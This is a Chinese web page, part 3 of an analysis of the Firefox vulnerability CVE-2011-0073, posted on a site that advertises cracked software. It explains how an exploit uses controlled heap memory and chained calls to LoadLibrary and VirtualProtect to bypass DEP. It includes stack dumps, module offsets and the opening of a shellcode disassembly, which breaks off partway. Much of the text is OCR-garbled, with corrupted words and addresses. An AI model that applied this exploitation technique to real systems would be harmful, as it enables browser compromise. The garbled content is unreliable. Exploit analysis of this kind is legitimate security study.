免费教程_免费网赚教程_破解版软件-寂涯网络学习基地

当前位置: 主页 > 系统综合 > 系统安全 > 再谈CVE-2011-0073 firefox漏洞(3)

再谈CVE-2011-0073 firefox漏洞(3)

时间:2012-02-08 19:37来源:未知 整理:寂涯网络 点击:


尺0尸作者将[010仰00004]设为0x0f000014,为了描述方便,我们设置此值为shellAddr。 继续执行,eax=shellAddr。我们可以发现,不仅可以call到任意地址,我们甚至可以先设 置一些参数然后直接调用函数来执行。为了描述方便,我们设可控堆内存0x0f000000为 ControAddr,调用函数0(^杜01?0此。那么 shellAddr = [ControlAddr +0x4]
通过调用虚函数,可用的函数调用就是
ControlFunc(shellAddr, [ControAddr+0xc], [ControAddr+0xl0]);
其中 shellAddr = [ControlAddr +0x4]
我们查看一下设置堆状态的函数:(把堆内存变成可执行,绕过0£尸)
B00L WINAPI VirtualProtect(
—in LPV0ID lpAddress,
—in SIZE_T dwSize,
—in DWORD flNewProtect,
—out PDW0RD lpfl01dProtect
这个函数有4个参数,我们要想达到目的,其他参数都好办,需要注意的有两个:
1,参数打恥^^『016(^需要为0140 (PAGE_EXECUTE_READWRITE)使81^110(^6所在内 存段可执行;
2,参数lpH01dProtect可以为硬编码地址,但是该地址必须是可写的我们可以在程序 运行的地址空间中找一个来设置。
我们看一下在我们压入[001^^0八3办+0110]前的堆桟状态:
eei2EC3c 0000000oJ 、
 104A9484 jtff05K^LJ 0Uft948^ ^6 xul.10U6657E
0012EC44 01FE946O T^-  ^
O012ECU8 1027UBO6 返回到^很不幸,这个值是0 J
eei2EC4c 01FB9B80 
eei2EC5e -0012EEE8 
eei2EC54 1010F422 返回到 xul.1010F«2 来自 xul.NS_InvokeBy:
0012EC58 01FB9B86 
eei2EC5C 麵剛12 
0012EC60 oooeeeee 
eei2EC64 ooi2EDee 
0012EC68 的剛圆 
eei2EC6c 02Bf)6760 
0012EC70 00521C26 js3256.JS_GetReseruedSlot
0012EC74 84DDE478 
eei2EC78 0200EAF0 
eei2EG7c 00896886 
eei2EC8Q Q0A27D20 
很不幸,我们需要的最后一个可写的参数在固有的堆桟上是0。这个时候我们需要转换 思路,既然一次不行,我们通过两次调用来保证堆桟上的压入参数满足要求。这个时候,我 们的思路是:既然可控的参数有3个,我们首先找到一个少于三个参数的函数进行执行,这 个函数要无关痛痒,对程序没有影响。函数调用返回后,堆桟上必然遗留有我们多压的一个 或者两个参数。当再次调用时,我们可控的参数已经不是3个了,而是4个、甚至是5个! ROP作者选择的函数是LoadLibrary。这个函数只有一个参数,极为符合我们的要求! ! ! 现在让我们来构造吧:
第一'次0&11,调用[08礼11«^7'时,shellAddr,也就是[0(^杜01八3办+014]为函数需 要的唯一一个参数。根据压桟顺序,我们需要[001^^^^!4^幻为我们第二次^11需要的 参数。既然需要的是可写的,干脆就把[6(^杜0八3办+010]设置为0x0f000000吧。[ControA 3办+0110]是我们不需要的东东,就设置为0吧。仏11返回后,堆桟状态为:
第二次(^11,调用乂1^此1?10^(^时,只需要将其余参数设置为我们需要的就行了。 这里会有几个疑问:
第一,怎么保证虚函数得到循环调用?其实就是刚才那个判断[04_?01价虹+8]不为零即 可。在第二次0&11时,681变成了[001^101人46^+8],最终[[[00价101八4如+8]]+8]会变成¥ “10^1?^16(^的第一个参数,我们需要设置它为功能81^110(^6开始处。这里我们设置[〇 ontrolAddr+8] = 0x0f000018,而[0叉0忉00018]=0又0卯00014, [0x0f000014+8]=功能吕1^ 11(^^6开始处(或者前面)。第二次调用的参数此时001^101八4办’ =0x0f000018o
第二,你怎么获取这两个函数的地址呢?在有4318的情况下,这个确实比较难。但是 作者发现了规律:没有々318的情况下:模块聊%^19.仏1中:
[0x781a9188+0x70] = VirtualProtect 函数的地址 [0x781 a9094+0x70] =LoadL i brary 函数的地址
最终,ControlAddr的堆区域分布为
精心构造数据
第三次调用call时,0(^杜01八3办’ ’ =0乂0切00030,通过运行,最终会call到shellcode 上去,完成对0£?的完全绕过,并执行81^110(^6。
Shellcode 的代码为 yV、^T^\
shellcode:
0F00004C 60 pushad 
0F00004D 31C0 xor eax, eax
0F00004F 50 push eax
0F000050 50 push eax
0F000051 50 push eax
0F000052 E8 00000000 call 0F000057
0F000057 5A pop edx
0F000058 89D6 mov esi, edx
0F00005A 52 push edx
0F00005B 830424 3B add dword ptr [esp], 3B
0F00005F 83C2 25 add edx, 25

本页地址 http://www.jybase.net/xitonganquan/20120208766.html

百度搜索更多

谷歌搜索更多

顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------

评价:
昵称: 验证码:点击我更换图片
推荐内容
赞助商
赞助商


关于本站免责声明视频更新google百度地图视频地图RRS订阅

如有什么问题请在本站留言,或发邮件到 hxt167#foxmail.com